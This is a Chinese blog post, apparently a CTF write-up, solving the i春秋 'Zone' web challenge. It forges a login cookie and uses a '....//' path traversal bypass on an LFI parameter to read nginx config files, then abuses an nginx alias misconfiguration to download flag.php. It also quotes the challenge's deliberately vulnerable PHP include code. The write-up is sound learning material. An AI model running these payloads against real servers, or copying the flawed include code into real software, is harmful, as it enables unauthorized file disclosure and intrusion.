CTF-i春秋-Web-Zone

2020.09.20

经验教训

  1. nginx服务器的配置文件是nginx.conf,存储路径为./etc/nginx/nginx.conf
  2. 一般服务器存放路径为/var/www/html/
  3. nginx.conf文件中,可以通过include其他路径文件来引用其他文件包含的配置,比如include sites-enabled/default;,这样做是为了把一些配置进行分类,方便在需要的时候快速启动或者关闭,这些路径是可变的,管理员可以自行设置;
  4. nginx.conf文件中,如果配置了autoindex on;,那么说明这个路径可以进行浏览目录下载文件,例如location /online-movies { alias /movie/; autoindex on; }中,location /online-movies路径就可以浏览目录下载文件,全路径一般是/etc/nginx/location/online-movies
  5. 文件遍历是指的一个目录,可以直接进行访问;
  6. 开启文件遍历权限的路径,在路径后边添加文件的相对路径就可以下载到文件,在可视化界面访问不到的文件也可以进行下载,比如/var/www/html/flag.php

Zone

https://www.ichunqiu.com/battalion

  1. 点击链接,蹦出来提示框要求登陆,点击后蹦到login.php,测试是否存在sql注入,但是提交显示网站正在建设中,查看源码,没有信息,查看消息头,发现信息

  2. 尝试修改login值,login=1时访问首页能成功

  3. 点击跳转到admin.php界面,尝试修改module为flag,得到一个信息,是否可以burp爆破一下module值

  4. 我试了,但是我ip好像被禁了……方向不对,看了wp才知道原来是这么回事,哈哈哈,module是文件名,路径,name是后缀,明白了,接下来在这个页面manages/admin.php进行测试

    • ?module=index.php&name=,页面返回成功,说明猜想正确,是两个参数拼接而成的文件访问,页面输出的是文件内容

    • ?module=php://input&name=,本来想试试文件包含漏洞,但是好像不好用,或许是我测试的姿势不对,有明白的老铁欢迎给我指出错误

    • ?module=robots.txt&name=,成功返回文件内容,发现flag.php

    • ?module=flag.php&name=,文件内容是骗人的吧

    • ?module=.htaccess&name=,没东西

    • ?module=ind../ex.php&name=,返回正常,说明../被过滤了

    • ?module=ind....//ex.php&name=,返回空白,说明可以绕过

    • 一般服务器存放路径为/var/www/html/,nginx服务器的配置文件是nginx.conf,存储路径为./etc/nginx/nginx.conf;所以构造下面payload

    • ?module=....//....//....//etc/nginx/nginx.conf&name=,返回nginx.conf文件,文件大多数被注释了,只有最后一行提供了信息include sites-enabled/default;,告诉我们存在sites-enabled/default目录

    • ?module=....//....//....//etc/nginx/sites-enabled/default&name=,访问上一步得到的新路径,得到新线索

    • 上一步获取的文件的最后一行location /online-movies { alias /movie/; autoindex on; },说明location/online-movies这个路径可以浏览下载文件,我们访问试试;

    • /online-movies,直接进行文件遍历,我一开始以为还跟上边一样payload请求,没想到是直接就能访问到这个目录

    • /online-movies../var/www/html/flag.php,成功下载到flag.php

    • 打开获得flagflag{8f7180b7-6e14-4e66-b069-cfab88fcc7f7}

    • 这地方又个小插曲,就是我在/online-movies/返回的可视界面上,点击html显示的是下载一个文件,并不能进入到目录里边去,但是用上面的url却可以直接访问到html/flag.php,我感觉很神奇……

  5. 既然我们能下载到源码,那么就趁此机会学习一下出题人是怎么写的代码🤓

    • /online-movies../var/www/html/index.php,我取了里边比较有用的一些代码贴出来,事实证明index.php就是我在可视界面点击html下载到的那个文件;
<?php
 
header("content-text:text/html;charset=gbk");
if(!isset($_COOKIE['login']))
	setcookie("login", "0");
if(!isset($_COOKIE['login']) || $_COOKIE['login'] !== '1')
	die("<script>alert('You need to log in!');location.href='login.php';</script>");
?>
  - `manages/admin.php`,从中我们可以发现,代码只对php文件添加了`.php`其他的直接放空了……他这里include不可以用文件包含漏洞吗??明天想起来的话查证一下。估计是想不起来了🙄
<?php 
header("content-text:text/html;charset=gbk");
if(!isset($_COOKIE['login']))
	setcookie("login", "0");
if( !isset($_COOKIE['login']) || $_COOKIE['login'] !== '1')
	die("<script>alert('You need to log in!');location.href='/login.php';</script>");
if (!isset($_GET['module']) || !isset($_GET['name']))
	header("Location: admin.php?module=index&name=php");

?>
						<?php
							$ext = $_GET['name'];
							if ($ext === 'php') {
								$ext = ".".$ext;
							}else{
								$ext = '';
							}
							include "/var/www/html/".str_replace("../","",$_GET['module']).$ext;
						?>
posted @ 2020-09-21 00:58  乔悟空  阅读(827)  评论(0编辑  收藏  举报